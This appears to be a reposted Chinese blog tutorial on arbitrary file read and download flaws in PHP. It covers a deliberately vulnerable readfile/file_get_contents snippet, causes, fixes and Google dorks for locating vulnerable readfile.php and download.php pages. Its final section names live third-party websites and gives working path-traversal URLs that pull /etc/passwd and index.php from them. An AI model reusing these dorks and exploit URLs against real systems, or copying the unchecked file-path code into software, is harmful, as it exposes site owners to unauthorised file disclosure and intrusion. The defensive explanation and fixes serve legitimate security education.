天天看點

任意檔案讀取與下載下傳

0x01 檔案讀取

    檔案讀取在PHP這種可以有很多種方式實作,在web的預設情況下,$filename變量可能使用者可控

1

2

3

4

5

6

<code>&lt;?php</code>

<code>$filename</code> <code>= </code><code>$_GET</code><code>[</code><code>'f'</code><code>];</code>

<code>echo</code> <code>file_get_contents</code><code>(</code><code>$filename</code><code>);</code>

<code>?&gt;</code>

<code>#當變量 </code><code>$filename</code> <code>沒有經過校驗,或者校驗不嚴格,使用者可以控制這個變量讀取任意檔案,例如</code>

<code>/etc/passwd、/config.ini 等檔案</code>

0x02 實作檔案下載下傳的兩種方式

    1.直接下載下傳:

<code>&lt;</code><code>a</code> <code>href</code><code>=</code><code>"http://www.xxx.com/xxx.rar"</code><code>&gt;&lt;/</code><code>a</code><code>&gt;</code>

    2.增加header頭

7

<code>header(</code><code>'Content-Type:image/gif'</code><code>);</code>

<code>header(</code><code>'Content-Disposition:attachment;filename='</code><code>.</code><code>$filename</code><code>);</code>

<code>header(</code><code>'Content-Length:'</code><code>.</code><code>filesize</code><code>(</code><code>$filename</code><code>));</code>

<code>readfile(</code><code>$filename</code><code>);</code>

    當$filename沒有經過校驗,或者校驗不合格,使用者可以控制這個變量下載下傳任意檔案,比如/etc/passwd,./index.php、等等就造成了任意檔案下載下傳漏洞。

0x03 成因

    都有讀取檔案的函數

    讀物檔案的路徑使用者可控,且沒有經過校驗,或者校驗不嚴格

    都輸出檔案内容

0x04 Google Serch

<code>inurl:</code><code>"readfile.php?file="</code>

<code>inurl:</code><code>"download.php?file="</code>

0x05 修複方案

    過濾&lt;.&gt;(點)

    正則判斷使用者輸入的參數格式,比對輸入的格式是否合格

    php.ini配置open_basedir

0x06 執行個體漏洞利用

(僅供測試,請勿随意破壞)

位址:

<code>url:http:</code><code>//hypnet.org.uk/shared/readfile.php?file=mental_health_audit_2014_06_15_130552.ppt</code>

漏洞利用:

<code>http:</code><code>//hypnet.org.uk/shared/readfile.php?file=../../../../../../../../../../etc/passwd</code>

<code>url:http:</code><code>//storiedifarina.it/readfile.php?file=pdf/storiedifarina.pdf</code>

漏洞利用

<code>http:</code><code>//www.wodehouse.se/upload/readfile.php?file=../index.php</code>

<code></code>

本文轉自 nw01f 51CTO部落格,原文連結:http://blog.51cto.com/dearch/1836973,如需轉載請自行聯系原作者